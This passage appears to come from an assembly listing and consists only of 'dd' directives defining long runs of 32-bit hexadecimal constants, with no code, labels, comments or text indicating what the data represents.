		dd 0E7C53EE2h, 0F00FF67Bh, 0B6BC6065h, 0EB1AA6Dh, 8FA856Ch
		dd 91A1860h, 9A1D0F0Eh,	0E7DC294Ch, 4692BF00h, 7CCD22h
		dd 0FBF5B180h, 833BD498h, 3142348h, 0AAD4627h, 0CE4C98FFh
		dd 0A6300CEEh, 0C7995C1Eh, 2DC67800h, 808934C8h, 0ED300B21h
		dd 0FB8391BFh, 29015B14h, 0D6D90328h, 68F416E0h, 0BA340E12h
		dd 0B9E061FBh, 0E6F7C36Fh, 0F8CD7503h, 0B9682C7Eh, 13EC065Bh
		dd 60CC7666h, 762E10E5h, 686F3738h, 28F3C739h, 0F0C37547h
		dd 7B087C77h, 2CDE3AD3h, 14DADC80h, 7C937B05h, 58CE8F02h
		dd 60C31C6Eh, 3EC80849h, 0B680724Fh, 0A5795374h, 64007611h
		dd 5D9B0CDFh, 9C4EC84h,	0EF4C7044h, 0E6009078h,	161EBEA1h
		dd 0F1F4B3CFh, 89CEF0h,	51DDE8F1h, 87BD24ECh, 8A010717h
		dd 0B1CFB300h, 18DE37D1h, 29DBFCC4h, 15805890h,	947F57h
		dd 66860810h, 638D1AFEh, 9512FB0Eh, 0F02CA07Ah,	1FE1C04Ch
		dd 40537940h, 0D31B7B01h, 0D004D69h, 1A827214h,	392A07FDh
		dd 0FF11E0h, 32016F36h,	0BD59A4AAh, 92B8100h, 2A46DD80h
		dd 0A1B70015h, 0EDA61F08h, 0C20114C8h, 5EE567Bh, 22D4698Dh
		dd 7C960090h, 2AA636EBh, 0AE00B275h, 5F98D368h,	1E08FC64h
		dd 40510683h, 0F5B6C2EDh, 32014A0Dh, 60A098A4h,	9CD07A9Eh
		dd 0A2610AC8h, 80A088DCh, 0D96B5BFCh, 0F20060F4h, 24310B78h
		dd 0EB828Ah, 62FE7BC1h,	59BB89C3h, 1436EC03h, 0D0AD1B99h
		dd 9896B5B4h, 64DF017Dh, 237F0F70h, 0ECE6F852h,	0CDF44000h
		dd 68A325A7h, 0B1B05Dh,	3D2F8E5Ah, 2E905686h, 0D30F600h
		dd 15DFDEE2h, 49BE0022h, 0EAF02BF4h, 121F9E3Eh,	73C7E762h
		dd 1A90DDB0h, 2C66E698h, 1C132Dh, 0CC21FB44h, 4600B961h
		dd 6E898F8Eh, 63FFCEh, 1D94DEC9h, 0D3BCC53Fh, 0E6908400h
		dd 0D5B25BA8h, 0F2802B7h, 0DB14FA7Ah, 78598480h, 8400B01Fh
		dd 6A9E156Bh, 0A40C35h,	89404981h, 94436D7Ch, 927B1702h
		dd 8756CC61h, 0CFE1608Ch, 0C1C8628Fh, 9825177Ch, 4C4702ABh
		dd 0A780C005h, 29BAAE8Dh, 27C35700h, 401A37Bh, 0CE6800E2h
		dd 92A24482h, 3005C14h,	338CEE18h, 5CB9A52Fh, 8700ED9Eh
		dd 0AD2CD390h, 1500AEFEh, 0EFC8120h, 2BBA8B6h, 83734F77h
		dd 0CAE02EEEh, 640038B7h, 526EECB3h, 145850F9h,	0F80D2071h
		dd 24F1A40Fh, 0D6FE8720h, 9008DB6h, 0C39AB310h,	82CB15h
		dd 0FDC3A9Ch, 0B2C88A91h, 0CA94681Eh, 0DDBC8387h, 0D1827AF0h
		dd 926F02D9h, 2B63B0B9h, 97DF7040h, 87284100h, 8E4801A9h
		dd 8A231D33h, 3806406Bh, 97AD547Fh, 3516B80Fh, 68DC8004h
		dd 90C54A0Ah, 8A30481h,	90ED55A2h, 0F905394Ch, 8FE25E1Dh
		dd 0ADFE0D80h, 589943Eh, 6BC3BB43h, 0B4F7C048h,	6E00254Ah
		dd 83C53054h, 1F2617B5h, 0EC45937h, 0ED003123h,	3F8F767Ch
		dd 0F1020A03h, 0AF3CE9B8h, 0AC7532E0h, 0EC9A00BAh, 0C2DA9066h
		dd 0F1009DBCh, 6FB50FEEh, 35CCD1h, 888DD225h, 21C0315Ah
		dd 0ABFA2900h, 0FE0CA5Eh, 51D034Bh, 1790B1Eh, 0A85DC000h
		dd 0F7BD522Ah, 44AD00ECh, 43651D63h, 7EFE48E0h,	0A988E700h
		dd 5954278Fh, 0C71C009Fh, 296F242Eh, 48003AB7h,	66AFADA8h
		dd 0AB2178h, 5B65428Bh,	0D86B293Dh, 0BA72610Fh,	90D0C0BDh
		dd 0CFE190Bh, 0D79B2637h, 83EEA451h, 0DBA9AE00h, 0FA1552E2h
		dd 81EED4h, 61C939B3h, 8A7CB923h, 2B0367E4h, 21AA9026h
		dd 0AB68B88Eh, 0CB3700BAh, 28C2FF7h, 8078E57Ch,	0DB86E100h
		dd 8A11F84Fh, 8DC3003Fh, 1B2C37E6h, 0E901D139h,	292608D4h
		dd 24C4465Fh, 0AF130B60h, 61803CA0h, 0CCD73457h, 0AE36BD00h
		dd 56CF7C5Ah, 17143B1Ah, 1C79464Ch, 0C0E4C759h,	0FFB38DE1h
		dd 0F500F8CAh, 0F01ECEDBh, 76BBF683h, 4469036Bh, 0BD08B6D9h
		dd 7AC3B0D7h, 8700DBEAh, 91250DECh, 35B0341h, 2C3D7C46h
		dd 27884A34h, 310E28D3h, 30BB1Ch, 20ADEA17h, 0E0B800A7h
		dd 48BA882Ah, 0EC0091F0h, 0F3B916DAh, 890D47h, 0A9C14DABh
		dd 8B9C5B92h, 0BFFE2300h, 0B9B13C8Ah, 83150042h, 0D10F216Dh
		dd 0D3EC0E6Eh, 20017300h, 27246156h, 90CC005Bh,	55CD83D9h
		dd 133BFE07h, 0D7680A1h, 8AE6034Eh, 5D211C24h, 0BD9F45CDh
		dd 8D8AC0A2h, 6300F0F4h, 0A88C4C95h, 3FB875B4h,	5B80710Fh
		dd 0DBD9E237h, 0EF7AFBC8h, 623DD401h, 39E3F8DDh, 3F0CDCh
		dd 0BE5736CAh, 88FD811Ch, 0F6668300h, 0C2567F97h, 0A25D0792h
		dd 50290ECDh, 7A030D2Eh, 0AEA82B00h, 0E9644CA5h, 0CAE10023h
		dd 9EE57775h, 0F21473C3h, 0B41722h, 9716C532h, 2AE3F6h
		dd 4BB3BACEh, 0BD1B273Ah, 6F001A7Eh, 8528F513h,	3EFF6AFh
		dd 4AEA7E63h, 3B903946h, 8D70F1A8h, 0AD1E8703h,	0A09D8F57h
		dd 0E43D0Dh, 22934F5Bh,	0B63044Eh, 0A89C2603h, 0A0AED2C6h
		dd 0EE5202F7h, 2FC200FCh, 134D0820h, 6F00EA6Bh,	0C48DF96h
		dd 2A3BF5h, 0B776C089h,	0F9D553DAh, 9FBCAE1Dh, 0BF839D00h
		dd 516441h, 245D3158h, 0A3B6C794h, 502BDB48h, 760025B0h
		dd 86D243D8h, 0BB15118h, 1073F94Ah, 0F2BD8B80h,	6A0032E0h
		dd 0B7E5E649h, 719AE7h,	57DB8929h, 865B6B48h, 80C8E800h
		dd 43443565h, 0A5FB0C8Ch
		dd 916008D3h, 5FC3641Dh, 0B8DE7033h, 0C0ADD6F7h, 0DDDF8B08h
		dd 5E625965h, 80C5A421h, 3EE4921Ch, 0DC8C3A54h,	0FA0A6E3Ah
		dd 10BEA5h, 0F65FC266h,	50007EE7h, 497D07FBh, 0D1BD51h
		dd 8769B3B0h, 95F2F846h, 0EF023602h, 80BC977Eh,	9614720h
		dd 4C8C2A9Dh, 60C44240h, 7EF81379h, 339F077Bh, 9F52A17Fh
		dd 30789BA0h, 9A314C80h, 666A28AAh, 90024898h, 840AF807h
		dd 0B47CE49Bh, 0CA51086h, 0B8EF058h, 0C34F9D21h, 0C520910Eh
		dd 0BFE4D72Fh, 0DBFB9B00h, 0CD4878B5h, 7F2401BDh, 0F13721E6h
		dd 86643082h, 8F65760Fh, 0F0EBC05Fh, 0DA0A3Ah, 3D6CA3B3h
		dd 0C7AC8B1Dh, 79685B60h, 31C3E47Fh, 25FC5E03h,	6218805Ah
		dd 0E0F7BE8h, 0AAFA015Fh, 0C5FC2618h, 0D1A0801Ah, 12AF385Eh
		dd 5898000Bh, 0E6AB542Ch, 7D302FAAh, 0FFA0189Bh, 22A81FA7h
		dd 0AD080F7Fh, 5FE4CF1Ch, 0DA288E00h, 0F515B4B6h, 7E80A3D8h
		dd 783D8800h, 0CBC61164h, 6F600FE5h, 8C017612h,	9F15FC1Eh
		dd 0E30C0228h, 108E1816h, 13482Eh, 0A32CB691h, 150C4Fh
		dd 5F187F5Eh, 0B0EB162h, 1FC13603h, 196092Fh, 0E4F6DAA0h
		dd 87B2D8F7h, 7F91BF81h, 0CD58DCh, 0A26A0C42h, 0B3610E31h
		dd 1F793F3Eh, 3407D968h, 0D4C05CE0h, 0AFD862h, 25F0FF2h
		dd 0DB77985Bh, 73619B08h, 4FA20E90h, 9159AE06h,	9F228E72h
		dd 0A937100Ch, 0B9A40595h, 0C003CB88h, 8224D66h, 793E0FE8h
		dd 745947D3h, 0A15A0502h, 1048BBFFh, 582A5F8Ch,	0E70ACC98h
		dd 0C4271391h, 83448F06h, 0FFAC1518h, 8C069C10h, 187B2567h
		dd 55904304h, 809058C0h, 1A66A05h, 0F76CADCEh, 983CA5DEh
		dd 9B211608h, 47A60742h, 70E1264Bh, 0D595D2Fh, 70FF1E09h
		dd 0F0003BCh, 2DC80341h, 17D91419h, 0A5EBD900h,	0B48C6BE5h
		dd 647C0E38h, 78C3ECCh,	8A012421h, 678DDBE5h, 0A0B19059h
		dd 4694C058h, 2C808084h, 486D84Ah, 8C551BD3h, 802867A4h
		dd 4EE58826h, 57008178h, 242C606Ch, 92F48C7Eh, 0A0F63CC8h
		dd 68026160h, 14905893h, 0DFF00C09h, 14940A16h,	185ED70Ch
		dd 6C25183Fh, 0B90B61B3h, 49BD5300h, 179C4163h,	899648Ch
		dd 0A0B890BBh, 0AC05BD4Bh, 90F8FA7Ah, 1248A086h, 46AB8EC6h
		dd 5138D8C4h, 0DC373Ah,	6E5BD388h, 7BE5F34Eh, 14670003h
		dd 9E1AE812h, 84A03FB8h, 0EEE32C36h, 588EEC80h,	98010DC3h
		dd 0F93FBD5Dh, 0E804869h, 1CC6884Eh, 0CB00ED8Eh, 3E3638A5h
		dd 1E325FBDh, 1D52F9h, 91A63059h, 8A741C7Ah, 0B9605EF4h
		dd 0D6CF5F20h, 30FE66Eh, 4A6F34FBh, 50D76A95h, 767CC5F1h
		dd 8045383Ah, 0AAED125Ah, 299B93h, 0AEFA7394h, 72C218A0h
		dd 1639E900h, 15439FECh, 6954003Dh, 63CCB586h, 8B793EE3h
		dd 0CB795900h, 8E0D3BA1h, 0AD7DF8h, 779C0357h, 822A74FDh
		dd 9A0018E0h, 301FB55Ch, 1F9D634Fh, 0CBF4C83Fh,	0B20096D9h
		dd 0BC9E70E1h, 26FBA50Fh, 84F9671Eh, 0F8E2C250h, 68E8EFh
		dd 70DE0FA2h, 8EB345E3h, 856211FEh, 22C5CE29h, 0F7245EF6h
		dd 12B8AE21h, 0AA81101Ah, 88443B88h, 86898C04h,	0CB66EE10h
		dd 0E0F19900h, 0E31B8FD2h, 769735Bh, 0CF14FEA9h, 6615207Eh
		dd 6B17DF9Dh, 0C24F6DBFh, 813BA069h, 2C485Bh, 0D4D844E8h
		dd 13431482h, 52BD7400h, 95108C1h, 1037B3Bh, 0E2533DB6h
		dd 0E430DD87h, 91054E9Bh, 739FFBC9h, 8EEF7EC0h,	0BC250018h
		dd 5ECC49AFh, 45007C41h, 0E74E59B6h, 0A0EF1109h, 1C3AA7DDh
		dd 1676FEh, 0E09CE24Bh,	683093FDh, 2C694178h, 0CB33005Ah
		dd 385FEF13h, 0B900909Ah, 0A7497BDBh, 0E0CFD39Eh, 13CA5CCDh
		dd 0ABA42D00h, 0BEED8F88h, 190CE600h, 5D8BA172h, 4ACE0040h
		dd 0E45345DFh, 5900B737h, 57E62D3Bh, 0F6B551Fh,	7CFD64E1h
		dd 63ED4743h, 0EB378790h, 706FF700h, 0FE523196h, 18A47610h
		dd 0B0A857E8h, 2B00E5BBh, 58BAB3DBh, 3DCE11h, 0DEDB91Ah
		dd 0C12129D4h, 0B0B13539h, 37D35820h, 7650CF78h, 4FBA0011h
		dd 0CCE51E82h, 0E191002Eh, 99D5849h, 3200EB87h,	99857507h
		dd 0F05FC8Eh, 1DD45608h, 8130A4E0h, 570547E7h, 0FB2FBBEFh
		dd 0F8CC9C00h, 0A4086Eh, 2C5592Dh, 0CBA50107h, 53008CF8h
		dd 3A1C7B4Ch, 5F4BEAh, 9FD4FFB6h, 52F73203h, 77072E0Eh
		dd 0F227E017h, 180818F1h, 28AB6129h, 1C2831FCh,	48069654h
		dd 0F635C494h, 411900F0h, 129AA4D5h, 6300165Fh,	2427072Ah
		dd 1D9AE96h, 0D2CBC554h, 0C81FF869h, 1B00DC81h,	0D5CDB3DEh
		dd 1C71672Fh, 40DF0973h, 325D9B68h, 34744B38h, 0C22A1A00h
		dd 0C0C78303h, 5FC10013h, 0D8B4B774h, 0B0013BDCh, 0B2A0A411h
		dd 0CAC8B841h, 3F820046h, 3E8779C9h, 8C076A9h, 0C1B46D86h
		dd 0A5C6000Ch, 8C1CF196h, 0D40FF9AEh, 809B98EBh, 28E2B3EEh
		dd 22AF00C7h, 8F8BDA6Ch, 420EB4F3h, 401861BAh, 0CF9262A9h
		dd 729C03F8h, 59441AF0h, 31D4DBF8h, 53089A00h, 0B0D98F89h
		dd 249800E7h, 98BA0AAh,	0B800A892h, 38231A6Ah, 79F01E02h
		dd 0FA6E00EFh, 0A94D5401h, 6009F48h, 3AD1D0F9h,	0B729C7D9h
		dd 3468D5C0h, 0FE264098h, 321C62BEh, 0EB480FEh,	0AB7ED213h
		dd 0BFA516A3h, 0DF3D00D8h, 0E181C7B3h, 0DCCB7328h, 65931E00h
		dd 0F53C7C48h, 0F6BC7A20h, 0D1E0A0ACh, 69070062h, 8AFE67F4h
		dd 7A001BE7h, 8E37B6D6h, 7714FAh, 366B0786h, 0CD25E367h
		dd 806E0D00h, 516AE46Fh, 74016019h, 1C695575h, 0C6C87400h
		dd 2B8B0D60h, 8F2F1C13h, 8D1AC0FBh, 2607921Dh, 94892100h
		dd 48784215h, 64E8036Fh, 0A8184001h, 0E1E873DBh, 50300980h
		dd 0B76BF8A0h, 0B97EE9h, 3BA7C7ABh, 4E5EF2A8h, 12F69C03h
		dd 880DDFFBh, 5DB8A6h, 8ACB9AA9h, 76DC2F11h, 0D2329F00h
		dd 0D75C1460h, 2E4E0072h, 0C0C9E30Bh, 86005F67h, 5BAB8958h
		dd 7463CA3h, 807C4036h,	8C509074h, 37018B15h, 5F114127h
		dd 71C902FAh, 5458C20h,	2CD6C18Fh, 1810C3A1h, 10FE4F8h
		dd 617BC216h, 17B7AC00h, 53BF57h, 0EF8154ABh, 91A0441Ch
		dd 6BBFC00h, 22CA7A52h,	0B52B0269h, 5C0B40FBh, 0B30C4C64h
		dd 3485D7C1h, 83E004h, 5C8461F3h, 6477A66h, 0F67B3000h
		dd 0ADFD8FCFh, 3B780E1Dh, 0F8C07E54h, 393AF4B8h, 0B7779200h
		dd 58B2EC5Ah, 0D59F003Dh, 0B048FA16h, 11284920h, 1009B466h
		dd 9D075Fh, 0AAA9C9BFh,	9EC60022h, 26F1A08Dh, 0B1008AB3h
		dd 2B0FE245h, 0F24AC2h,	9E530ACEh, 13C1B2D0h, 2030A700h
		dd 0CAF71B8Ah, 0C87175h, 2ED46976h, 0D55E60Fh, 2AFCE502h
		dd 8067CDC3h, 0EBA8AECFh, 426901D5h, 8D967114h,	943264h
		dd 0FCC25751h, 0B80AEED4h, 0F73B1D39h, 0EBB54066h, 93756BF5h
		dd 400BA97Ch, 8C514D74h, 0EAA020h, 0A70E7953h, 63073350h
		dd 0F0707C09h, 0B9CC078Bh, 17602EB0h, 0D473E9h,	0B0B854C0h
		dd 14F67F1h, 0A3A41500h, 2D5BE691h, 0BD3D14FDh,	7000FC18h
		dd 1ADED54h, 6000EF43h,	0F841D77h, 70A0AFBEh, 28A50157h
		dd 24E53893h, 0C5263025h, 80CDB93Bh, 0B1E2F81Bh, 3A66A37h
		dd 0AF21EB39h, 0B9F8E6B2h, 12E69646h, 0A2FBA40Fh, 95F080FFh
		dd 0EB3C3477h, 30914064h, 0D6E0295Fh, 1D07315Eh, 6E7AA01Eh
		dd 0B74477D0h, 2A540030h, 370CE189h, 4114384Ch,	0C8F0D0h
		dd 99474431h, 28EFBC0Ah, 80DCE81Fh, 28DAE6CAh, 10C0D810h
		dd 2CA6B53h, 0D7EC7E74h, 0B19DC08Ch, 0E7FC009Fh, 0B51E9A72h
		dd 801890DBh, 1390379Bh
		dd 0D890069h, 276E26B1h, 2C24E13Fh, 7F006C28h, 0F7D0F39Fh
		dd 0B65301AFh, 0DEC1BEF4h, 0F8A0F599h, 0B002ADDh, 3B4E8F65h
		dd 63AB45h, 0A3834AEFh,	0CCC38233h, 0EE62A100h,	8529EB41h
		dd 4FF0002Bh, 8107D6D4h, 7A7DB139h, 9E01D103h, 0E8891862h
		dd 24D200Fh, 0DA371DF2h, 0C640EB29h, 740EB890h,	1DCBD55h
		dd 0E710E024h, 1D443820h, 0AB374Ah, 7CD12D2Ch, 7B00362Fh
		dd 0A023A541h, 8B32B5h,	0B4B62AD6h, 0BFD973D7h,	0F5718900h
		dd 0F6DCFBBh, 64D8005Dh, 9860AC78h, 0ACB84708h,	0E8AD5909h
		dd 0DFE08056h, 0AC76E7h, 0E1CD04B1h, 8064179Bh,	7E02F3B0h
		dd 66FCB767h, 152C406Fh, 0B1E0017Ch, 1B8CA1DDh,	0E669F8E2h
		dd 3600109Ah, 75C81FC6h, 2F059Dh, 10818BA6h, 7CEA86AAh
		dd 3F85B00h, 0DC87D89Fh, 30740091h, 0B909F1C9h,	460E8845h
		dd 60AB2332h, 0EB2A1673h, 0B63C00DAh, 0F5E88D8Bh, 2F26A8C5h
		dd 1F3B70D9h, 1002307h,	41AA98A9h, 1C974CAEh, 0F7E27700h
		dd 0C091765Bh, 6C197200h, 5D073515h, 0EDBA00F3h, 85488CF5h
		dd 0FCF455D3h, 0BFE1900Ch, 44DC41ACh, 9B03B6E3h, 3E0E8867h
		dd 0A88095CCh, 705A6E3Dh, 427A0079h, 0E85A536h,	3E00C5C8h
		dd 4D9A84AFh, 3BCCB31h,	0B19E172Ah, 0C2A0DA36h,	0BA00AF5Ch
		dd 8A3BAB77h, 0D5DEAAh,	0B7CF5F13h, 0BC6BC199h,	3D4284Ch
		dd 2DD41D20h, 0CCB0E856h, 0ACAB2EA0h, 2700930h,	9A918780h
		dd 8F03D339h, 8EE46899h, 160900F9h, 0F40EC55Eh,	2600E7F7h
		dd 3ECF1A41h, 99C4B249h, 173280ECh, 0A4523F16h,	5F8BA502h
		dd 0E4BD87E3h, 77CC2020h, 811D0D01h, 0AC3FF9C8h, 0AA7C90FBh
		dd 0A8280219h, 0DC940C50h, 9004C8E8h, 1A00EEFCh, 8DA6A9F3h
		dd 1DF52907h, 40B2F84Fh, 8256E454h, 2200699Dh, 0EFC0A152h
		dd 26D43A64h, 2ECE2CAh,	362A7F3Bh, 0DE221440h, 9B31A09h
		dd 21DC074Eh, 5AF6AF30h, 0AD25008Bh, 0A5F7EE75h, 1B267880h
		dd 0CE0007BDh, 616EA92Ch, 0E52500E1h, 9BB22356h, 50005403h
		dd 814DC6A5h, 0C0F66h, 9067824Bh, 0F56C3813h, 330758h
		dd 0FE7EACC4h, 48CA6DBBh, 1C2EC4F8h, 9B0340ACh,	0AA0084CFh
		dd 0CE7FF938h, 14F7364Dh, 98F420DEh, 0AE0FD43Ch, 0DA207094h
		dd 6C0CEC52h, 0E44049h,	0A74B2E2Fh, 3A3F985h, 59D81490h
		dd 0D088BDB4h, 8A002225h, 0DFB18942h, 292A38h, 0F46D66ECh
		dd 5D52D3C6h, 543C67B0h, 837380FFh, 3ABE2463h, 98F2006Dh
		dd 721EAAE3h, 940349ADh, 0C8C6910h, 8802CB64h, 6C2E17h
		dd 0A69BCFBFh, 7D82B0C8h, 6DFA4F01h, 0ADFFAC7Eh, 9AE4F8h
		dd 0AA52EDA7h, 550B9B90h, 20DDD900h, 0C4146119h, 12501DE6h
		dd 3B21415Fh, 40F23C03h, 2EA7DBA4h, 0E706DD02h,	40B9E00Eh
		dd 3F6CDCh, 0A36B93D9h,	50EE850Ah, 4B43020Bh, 0C03C8199h
		dd 59E8426Ah, 800900FDh, 0D5679214h, 38007E5Bh,	0EBFE2D5Ch
		dd 2881F2h, 0C7B29AEDh,	37B249Dh, 0E400CC7Bh, 4BB4AC80h
		dd 351212Bh, 65FC4A01h,	0ADF33914h, 2045D8E9h, 1C981F57h
		dd 1629011Eh, 0FD260540h, 589C9464h, 7BA44Ah, 906F53F9h
		dd 8348345Dh, 64032AE6h, 2F8C78AAh, 0E3AD829h, 7E44009Bh
		dd 830D5609h, 4C3F9D9Eh, 4389008Bh, 0D4282130h,	2CC500FFh
		dd 95CACDA3h, 0FE00F9C9h, 73E1A0C8h, 4EF60Eh, 31AC1683h
		dd 205937E0h, 23F46000h, 834A56Eh, 0B8C5002Eh, 0CAACFB40h
		dd 0E100706Ah, 0EE26604h, 0F69DCF16h, 35BD2ECEh, 3117964Ch
		dd 0FFB7C8h, 9EB039Fh, 3C52A7F4h, 243038C0h, 19945850h
		dd 6AE71E02h, 61C081CAh, 0E0EEAF44h, 0D435D4Ch,	0F845DED9h
		dd 1AEB6018h, 0B601C400h, 0EA178436h, 5356005Bh, 24B999F9h
		dd 4805615Dh, 0ADDBFDE4h, 0FF171080h, 50A12D5h,	8B5E0956h
		dd 20C77884h, 0DF4DD3h,	0D444A43Eh, 32264119h, 0F3538900h
		dd 38281EEh, 4A430045h,	66CFBC1Bh, 0A1096F1Ah, 4CD6978Bh
		dd 0E520400h, 87BAC014h, 0E155C2C6h, 1F79E880h,	0EA00661Ah
		dd 0E75145C3h, 1A11F40Bh, 0B2325646h, 7078ACC0h, 902DC90h
		dd 6D081AC1h, 60C8E29Dh, 4C66076Ah, 800B05A2h, 102797E2h
		dd 2806878h, 0B1DF2621h, 67F90B39h, 6080C66Bh, 20EA4B04h
		dd 8FF0C260h, 3C1659F6h, 0AC98A1A0h, 954A4985h,	47C4BB18h
		dd 1E7E8D8h, 2ABA3F7h, 0E8719FCCh, 6BFE742Bh, 5CB009FEh
		dd 56333700h, 0F1403AFAh, 95EC129Bh, 82361494h,	1EA6D817h
		dd 0D03F4740h, 200ECB6Bh, 82A5242h, 0E390A0EBh,	2E032953h
		dd 2C3359FAh, 0C1C4F2F9h, 88006ABh, 0AE25FFF6h,	0C605957Bh
		dd 2EB92147h, 24A3F2C0h, 0A48B0089h, 0B692605Bh, 0F22C5E71h
		dd 0BF0320A7h, 0D842E183h, 1F4A3Fh, 1366E662h, 0C1A8143h
		dd 2FD28F09h, 83ACE027h, 727839C6h, 3FC7B382h, 7960FCEAh
		dd 0D81875E8h, 3529B121h, 0A72A0204h, 8A4A86C9h, 89021D42h
		dd 0B4788C45h, 8096B560h, 0F2647701h, 0A8435108h, 2D36A8CBh
		dd 9D5109E0h, 0C4E0A5D0h, 9C00CDFEh, 63DD5AD1h,	770280h
		dd 0AC733032h, 0FFEDE442h, 400B194Bh, 988014Ch,	918022B3h
		dd 281B4407h, 0AE14DF39h, 1B08F98h, 5890053Ch, 0D440F4B0h
		dd 0BFD53BCh, 48A0308Ah, 0C00888Bh, 0F6DE1BE4h,	0B101C3FCh
		dd 0E995F20Eh, 9880917Ah, 525C435Bh, 6609E7B7h,	0C026F780h
		dd 27645B4h, 0D10E27DBh, 1078F412h, 140077FAh, 64A868A4h
		dd 251B502Ch, 0F8008A70h, 499E1C85h, 6733C212h,	1EF558C0h
		dd 0BAC9D376h, 0AB41C400h, 712CBA45h, 8CE054h, 0B392F29Dh
		dd 0A9D0D5C1h, 9E070400h, 88AC91A3h, 0BA080076h, 9C7DCAA1h
		dd 74021EFCh, 0FEB701CFh, 8884C88Dh, 0BBF88391h, 0C700FF39h
		dd 95E66051h, 3CC233A8h, 0A1B96AE5h, 12B3DE80h,	27BD182h
		dd 51ADB00h, 0BFC37DB8h, 0E401002Bh, 0A7C4BCAFh, 1C1FACB0h
		dd 0E947408Bh, 30A069FCh, 0A0E5DEB9h, 2728D4h, 0A136570Bh
		dd 0A0581D11h, 232B9A00h, 0CD63E66h, 0D30F073Fh, 0C01F5DA7h
		dd 0D5822AFFh, 0BE26C000h, 8818C1FBh, 5293AECh,	5500A9C8h
		dd 7D75E409h, 775C2491h, 0A4512A00h, 83E65E1Ch,	31454100h
		dd 4B5802Ch, 0B2D07F97h, 0EBC4CC2Ah, 0B94300FDh, 6028260Bh
		dd 6CD98B08h, 0F37D5900h, 743D273Dh, 95D701EEh,	56921E7Eh
		dd 5108FC52h, 0BFA900D0h, 60B69126h, 8630DD00h,	0EFF4C701h
		dd 60B36EEBh, 48D58840h, 0B50072FEh, 0E7B0DAF1h, 1F3574h
		dd 580FA819h, 0BD59A7B2h, 773EAF70h, 0C76912E0h, 9A950800h
		dd 0F94E55h, 355EBA06h,	0EED1AE7Dh, 0D5A90A07h,	0C06F37C1h
		dd 0D21E4C49h, 85D90725h, 603B78FCh, 5CB39389h,	0E8484D04h
		dd 0C0C0BC22h, 0E5FF03Ch, 1A089114h, 64ED51E0h,	2500E4BBh
		dd 3EA9A1A2h, 7E724715h, 770D0573h, 80485902h, 98A53620h
		dd 0F41C32E0h, 0E4DFA15Ah, 0D825B300h, 177211D4h, 0F39E5ECh
		dd 48A0FBDCh, 7D841573h, 0DAED9A14h, 4A6F00A0h,	76911C1Dh
		dd 976A004Bh, 3DD13677h, 0CD0E227Bh, 20C16261h,	0A599AAE0h
		dd 9EA43AD6h, 0CA88DA09h, 0B0913485h, 9AF8BA64h, 824E443Fh
		dd 0B023C0C9h, 1D4788Ah, 94BEF80Ah, 695144F7h, 0A4A00388h
		dd 880D63D9h, 971247Dh,	28BEC04Ch, 0FDB9C020h, 89006688h
		dd 8F92936Bh, 0F2F9AD33h, 8C590011h, 4D88C2D2h,	0DE002706h
		dd 3B537665h, 2E26B4C3h, 0A20A29h, 0CDC9F347h, 0CEEE367Ch
		dd 1298E100h, 5AD72B8Ch, 60957726h, 0A9FB00Dh, 0F63BCBBCh
		dd 0FDCE802Ah, 0AE39C677h
		dd 0D3D70094h, 0F05752D5h, 7212DADCh, 58C0FDBFh, 380F47D1h
		dd 31025127h, 38297A7Dh, 8A55B040h, 0CAB44500h,	0DC776EF1h
		dd 0B77C81h, 3BD8A4B3h,	0E9899E6Ah, 5DC3A302h, 603428E4h
		dd 0EA0E616Dh, 0EEF9008Ah, 0AEECD89Ch, 73054281h, 30FF9FAFh
		dd 6840D8E1h, 2E146C77h, 468BE95h, 0D7A716E3h, 9EC9E0CCh
		dd 0ED005461h, 3C1DC04Dh, 0E0675C6h, 51900C43h,	30AF8160h
		dd 809F52Dh, 0E3CEA38Fh, 0CAE4C8FCh, 38102988h,	55EA4380h
		dd 0FF4093D2h, 7B0948F8h, 2FE58F78h, 0E74380C8h, 7B9BE05h
		dd 0BBAE28EFh, 59C54EE8h, 0FBB09039h, 0D9002649h, 0D385B266h
		dd 7879A90h, 13F003FFh,	861280A4h, 0E00CDD5h, 0D6DDF8BCh
		dd 62585Ah, 0A42ACCE8h,	0F1510B40h, 0E0193Eh, 7D661B42h
		dd 69BDD2h, 0E8C969Dh, 1D40ED4Eh, 2388D954h, 8EAA0405h
		dd 440007D8h, 1370A2E3h, 7810C0CFh, 0A52F27D1h,	4178EC78h
		dd 248922h, 32C2E948h, 28EBB9DEh, 82ADF227h, 83E4A440h
		dd 0AE60528h, 0BB9632F8h, 0BE7AC014h, 0E40022E5h, 2940CDAAh
		dd 7FDAF89Bh, 98EFA0F9h, 0BBDC00D5h, 0EE34F750h, 0BFEC962Fh
		dd 1084F902h, 431E8E9Fh, 0D2B000ECh, 7998DEB1h,	0B83D5153h
		dd 0F3D600FAh, 4481D92Ah, 708515F8h, 0D800CCBEh, 43428252h
		dd 58019438h, 61EB3B49h, 9804E06h, 0C346EE4Fh, 5476164Ch
		dd 693FE700h, 7007BFF6h, 341100E0h, 5E29D5Dh, 0E5FAF404h
		dd 7813CEE2h, 0C883B513h, 0F5158841h, 51040047h, 9C6E2F9Bh
		dd 0F0F0A373h, 171660EEh, 101E25BCh, 2189D89Dh,	4C64E0ACh
		dd 757D019Dh, 0F6C571CCh, 0E4CFF477h, 0C9A29B00h, 13449209h
		dd 33160366h, 0BC38A73Fh, 0F8F44200h, 40868A14h, 7BE60130h
		dd 0FEA78E6Fh, 0CC3C7Ah, 5054FB9Fh, 187FEAh, 56BFA84h
		dd 0E56AFFE7h, 255F5Ch,	3C29D3C7h, 0E3AFBE06h, 1D5B1E0h
		dd 0E25A3ABh, 40115068h, 9D5BD2F0h, 0CFBF7F00h,	200FB18Fh
		dd 0D3840359h, 0E253C3BBh, 0B6AAAFE8h, 0BC0778BCh, 8841FDE3h
		dd 0D7F198A6h, 0E5FE4987h, 1E430056h, 0C448E386h, 0F459B3h
		dd 718EFBCAh, 0F34BF07h, 859E6BDh, 6D60432Eh, 3390E055h
		dd 1E0064EEh, 5E8D2BC9h, 0EEF6994h, 3ABF1AE5h, 200EE0D4h
		dd 0D7AB3DF6h, 964D3400h, 4B00607Ch, 7D91D834h,	0B08D6322h
		dd 2E173EA0h, 0DCD5A09h, 41EA9C64h, 860E143Eh, 53AC05FDh
		dd 0CF081B0h, 7FA14DC4h, 856B007Bh, 0FBD48FF1h,	0D800B4AEh
		dd 3986A2A6h, 0E22024BCh, 0BF740F30h, 0A800A74Eh, 8C5136C9h
		dd 110E500Bh, 2C9C603Fh, 0B5C10682h, 0B040B7CCh, 1FDC858h
		dd 527572BCh, 0AEECF561h, 16C4BC65h, 468C0196h,	0C33A5DE9h
